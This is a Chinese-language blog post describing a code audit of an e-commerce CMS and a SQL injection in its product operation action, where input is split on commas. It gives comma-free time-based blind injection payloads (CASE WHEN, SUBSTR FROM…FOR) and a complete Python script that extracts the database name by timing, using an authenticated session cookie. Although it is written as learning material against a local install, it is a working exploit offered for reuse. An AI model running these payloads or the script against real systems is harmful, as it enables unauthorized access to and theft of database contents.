从代码审计到绕逗号盲注python脚本编写

原创
10/14 14:12
阅读数 13

首先恭喜我的好朋友jobs拿下上周的第三,这次希望这篇文章能帮助到大家,这次是之前审计的一个电商管理的cms,大部分功能都需要登录,本人才疏学浅,在登录功能和验证功能没有看出缺陷。下面直接进行审计。

1.路由的确定

由于我代码水平并不是很高,而且现在大部分cms采用mvc形式编写直接看路由文件比较浪费时间。但是代码水平厉害的可以看看路由,有可能有文件包含或者反序列化之类的意想不到的收获。但是这并不是说其他文件看不懂也不看了,这样就会错失很多学习和挖洞的机会,就像上次那个漫画的cms审计(jobs上周那篇文章),我们两个就是一筹莫展的时候,我们一个一个文件一行一行看,最终找到了那个越权。所以说代码审计还是得细心,有耐心,这篇文章也几次警示我代码审计的要点就是细心!言归正传,那我不看路由文件怎么确定的路由呢,就是一个字:猜。随便点个功能,然后看着文件夹里的php文件名去猜路由。比如

img

module文件夹下的AdminLoin文件夹,对应的路由就是index.php?module=AdminLogin,index.php就是入口文件,无需多言。虽然他的文件夹名字是model但是我看了里面的功能和mvc中的控制器功能有点像,很多实现功能的重要函数都写在里面。用这种方法路由就可以基本确定了。路由类似于这种:

img

2.从兴奋到失落

在文件open\app\LKT\webapp\modules\product\actions\operationAction.class.php中

img

第十六行获取id,第十九行变成数组,之后遍历数组的时候21行直接进入SQL语句,22行执行,这里没有任何过滤。当时特别的兴奋,然后直接上去单引号报错,sqlmap直接跑,单引号确实报错了,但是sqlmap啥也没跑出来,然后-v 3看sqlmap的payload

img

手工调试payload:' and substr(database(),1,1)='l'%23

img

发现还是不行,最后手工构造中有一条没有报错。

img

payloa:' and database()='lk'%23 但是这是因为我知道我本地的数据库名,如果是实战的话这就很鸡肋了。不想就这样结束了。 然后打开phpstorm调试尝试正常的payload:' and substr(database(),1,1)='l'%23

img

可以看到我们的payload被分成数组了,现在才看到其实注释都写了用逗号分割数组,还傻乎乎的用正常语句试了半天。

3.柳暗花明

这样的话逗号就不能出现在payload里。突然我想起来之前绕waf的时候看过一篇文章是可以绕过逗号的,之前从来没碰到过需要绕逗号,所以还得去查,然后发现case when 条件1 then 执行语句 else end 1这种语句可以代替if语句,其实这个洞不用if也可以,而且更简单,但是为了我们的python脚本适用性更广,所以采用时间盲注的方式,所以要替代掉if语句。那么if解决了,还有substr怎么办呢,根据网上师傅们的文章发现from n for 1可以替代substr。

举个例子if(ascii(substr(database(),1,1))>0,sleep(3),1)如果需要绕过逗号就要转化为:case when ascii(substr(database() from 1 for 1))>0 then sleep(3) else 1 end。这样的话就简单了

把新的payload:' and case when ascii(substr(database() from 1 for 1))>0 then sleep(3) else 1 end%23执行之后发现成功延迟三秒,这时候又兴奋了起来,然后就是python脚本的编写,因为盲注用手来确实有点累人,所以写个脚本就简单了。

4.又陷僵局

这时候以为成功就在眼前,心里都准备庆祝了,然后发现啥也没跑出来。

img

最后一看是cookie没加到heads里面,所以没又限权访问这个url自然没有用。 把cookie加上之后就跑处数据了。

img

脚本源码,里面的需要修改的自己改一下就好了 `#!/usr/bin/env python

-- coding: cp936 --

import requests
import time

headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36','Cookie':'admin_mojavi=9lv2rh3d7lcqc14r1o1q3orjnq'}
chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'
database = ''
global length
for l in range(1,20):
Url = "http://127.0.0.1/open/app/LKT/index.php?module=product&action=operation&id=1' and case when (length(database()))={0} then sleep(3) else 1 end%23"
UrlFormat = Url.format(l)
start_time0 = time.time()
a=requests.get(UrlFormat,headers=headers)
print(UrlFormat)
if time.time() - start_time0 > 2:
print('database length is ' + str(l))
global length
length = str(l)
break
else:
pass
for i in range(1,int(length)+1):
for char in chars:
charAscii = ord(char)
url = "http://127.0.0.1/open/app/LKT/index.php?module=product&action=operation&id=1' and case when ascii(substr(database() from {0} for 1))={1} then sleep(3) else 1 end%23"
urlformat = url.format(i,charAscii)
start_time = time.time()
requests.get(urlformat,headers=headers)
print(urlformat)
if time.time() - start_time > 2:
database+=char
print('database: ',database)
break
else:
pass
print('database is ' + database)`

总结

希望这篇文章能给喜欢网安的人一些小小的帮助,我也是看别人文章一步一步能挖到洞,俗话说喝水不忘挖井人,还是得分享出来让大家一起交流,过几天要参加人生中第一次ctf了,创作不易,大家点个赞支持一下,给我加加油哈哈哈哈。

展开阅读全文
打赏
0
0 收藏
分享
加载中
更多评论
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部